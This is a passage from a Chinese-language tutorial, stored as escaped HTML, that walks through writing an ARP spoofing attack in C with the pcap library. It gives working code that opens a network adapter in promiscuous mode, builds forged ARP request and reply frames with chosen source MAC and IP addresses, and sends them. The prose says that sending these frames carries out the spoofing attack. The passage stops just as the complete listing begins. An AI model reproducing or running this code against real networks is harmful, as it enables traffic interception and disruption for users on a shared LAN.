style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;65536,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/&nbsp;\u6307\u5b9a\u8981\u6355\u6349\u7684\u6570\u636e\u5305\u7684\u90e8\u5206,65536&nbsp;\u4fdd\u8bc1\u6240\u6709\u5728\u94fe\u8def\u5c42\u4e0a\u7684\u5305\u90fd\u80fd\u591f\u88ab\u6293\u5230<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1,&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\"> <\/span><span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\"> <\/span><span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/&nbsp;\u6df7\u6742\u6a21\u5f0f<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1000,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\"> <\/span><span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;\/\/&nbsp;\u8bfb\u6570\u636e\u7684\u8d85\u65f6\u65f6\u95f4<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;errbuf&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\/&nbsp;\u9519\u8bef\u7f13\u51b2\u533a<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;))==NULL)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;\u6253\u5f00\u7f51\u5361\u51fa\u9519\u3002\\n&#8221;);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;NULL;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;hpcap;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:10.5000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u63a5\u4e0b\u6765\u5c31\u5230\u4e86\u6700\u91cd\u8981\u7684\u4e00\u6b65\uff0c\u586b\u5145ARP\u6570\u636e\u5305\uff1a<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">void&nbsp;Fill_ARPPACKET(char&nbsp;*ARPPacket,int&nbsp;packetsize,char&nbsp;*desmac,char&nbsp;*desIP,char&nbsp;*srcmac,char&nbsp;*srcip,int&nbsp;op)<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">{<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;\/*<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;*ARPPacket&nbsp;&nbsp;&nbsp;&nbsp;\u6307\u5411\u5c06\u8981\u586b\u5145\u7684\u6570\u636e\u5305\u6307\u9488<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;packetsize&nbsp;&nbsp;&nbsp;\u6570\u636e\u5305\u5927\u5c0f<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;*desmac&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\u6307\u5411\u5b58\u6709\u76ee\u6807MAC\u7684\u7f13\u51b2\u533a\u5730\u5740<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;*desIP&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\u6307\u5411\u5b58\u6709\u76ee\u6807IP\u7684\u7f13\u51b2\u533a\u5730\u5740<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;*srcmac&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\u6307\u5411\u5b58\u6709\u6765\u6e90MAC\u7684\u7f13\u51b2\u533a\u5730\u5740<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;*srcip&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\u6307\u5411\u5b58\u6709\u6765\u6e90IP\u7684\u7f13\u51b2\u533a\u5730\u5740<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;op&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ARP\u5305\u7c7b\u578b<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;*\/<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;DLCHEADER&nbsp;*DLCHeader=(DLCHEADER&nbsp;*)ARPPacket;<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;ARPFRAME&nbsp;*ARPFrame=(ARPFRAME&nbsp;*)(ARPPacket+sizeof(DLCHEADER));<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;memset(ARPPacket,NULL,packetsize);&nbsp;&nbsp;\/\/\u6e05\u7a7a\u5305\u5185\u5bb9<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u586b\u5145\u4ee5\u592a\u7f51\u76ee\u7684\u5730\u5740<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;if(op==1)&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u8868\u793aARP\u8bf7\u6c42\u5305.<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;{<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memset(DLCHeader-&gt;DesMAC,0xff,6);&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u7528ffffffffffff\u586b\u5145\u4ee5\u592a\u7f51\u5934\u76ee\u7684MAC\u5730\u5740\u3002<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memset(ARPFrame-&gt;Targ_Prot_Addr,NULL,4);<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memset(ARPFrame-&gt;Targ_HW_Addr,NULL,6);<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;}<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;else<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;{<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memcpy(DLCHeader-&gt;DesMAC,desmac,6);<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memcpy(ARPFrame-&gt;Targ_Prot_Addr,desIP,4);<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;memcpy(ARPFrame-&gt;Targ_HW_Addr,DLCHeader-&gt;DesMAC,6);<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;}<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u586b\u5145\u4ee5\u592a\u7f51\u6e90\u5730\u5740<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;memcpy(DLCHeader-&gt;SrcMAC,srcmac,6);<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;memcpy(ARPFrame-&gt;Send_HW_Addr,srcmac,6);<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;\/\/\u586b\u5145ARP\u5305\u6e90IP<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;memcpy(ARPFrame-&gt;Send_Prot_Addr,srcip,4);<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;DLCHeader-&gt;EtherType=htons((unsigned&nbsp;short)0x0806);&nbsp;&nbsp;&nbsp;&nbsp;\/\/0x0806\u8868\u793aARP\u534f\u8bae\uff0c0x0800\u8868\u793aIP\u534f\u8bae<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;ARPFrame-&gt;HW_Addr_Len=(unsigned&nbsp;char)6;<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;ARPFrame-&gt;Prot_Addr_Len=(unsigned&nbsp;char)4;<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;ARPFrame-&gt;HW_Type=htons((unsigned&nbsp;short)1);<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;ARPFrame-&gt;Opcode=htons((unsigned&nbsp;short)op);&nbsp;&nbsp;&nbsp;\/\/01\u8868\u793a\u8bf7\u6c42\uff0c02\u8868\u793a\u5e94\u7b54<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;ARPFrame-&gt;Prot_Type=htons((unsigned&nbsp;short)0x0800);<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">&nbsp;&nbsp;&nbsp;&nbsp;\u6700\u540e\u6211\u4eec\u5c06\u586b\u5145\u597d\u7684ARP\u5305\u53d1\u9001\u51fa\u53bb\u5c31\u5f62\u6210\u4e86\u4e00\u6b21ARP\u6b3a\u9a97\u653b\u51fb\u4e86\uff1a<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">BOOL&nbsp;SendPacket(pcap_t&nbsp;*hpcap,char&nbsp;*Packet,int&nbsp;packetsize)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">{<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">\/*<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">*hpcap&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\u7f51\u5361\u63cf\u8ff0\u5b57<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">*Packet&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\u6307\u5411\u6570\u636e\u5305\u7684\u6307\u9488<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">Packetsize&nbsp;&nbsp;&nbsp;\u6570\u636e\u5305\u5927\u5c0f<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:18.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">*\/<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;if(pcap_sendpacket(hpcap,Packet,packetsize)!=0)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;{<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf(&#8220;\u6570\u636e\u5305\u53d1\u9001\u5931\u8d25\u3002\\n&#8221;);<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;ERROR;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;TRUE;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">}<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:10.5000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"text-indent:24.0000pt;margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:12.0000pt;font-family:'\u5b8b\u4f53'\">\u6700\u540e\u5199\u51fa\u5b8c\u6574\u7684\u4ee3\u7801\uff1a<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">#include&nbsp;&lt;stdio.h&gt;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">#include&nbsp;&lt;stdlib.h&gt;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">#include&nbsp;&lt;string.h&gt;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">#include&nbsp;&lt;windows.h&gt;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">#include&nbsp;&lt;pcap.h&gt;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">#include&nbsp;&lt;conio.h&gt;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">#include&nbsp;&lt;winsock2.h&gt;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">#include&nbsp;&lt;iphlpapi.h&gt;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">&nbsp;<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span style=\"font-size:9.0000pt;font-family:'\u5b8b\u4f53';background:#d9d9d9\">#pragma&nbsp;comment(lib,&#8221;ws2_32.lib&#8221;)<\/span>\n<\/p>\n<p class=\"p0\" style=\"margin-bottom:0pt;margin-top:0pt\">\n\t<span 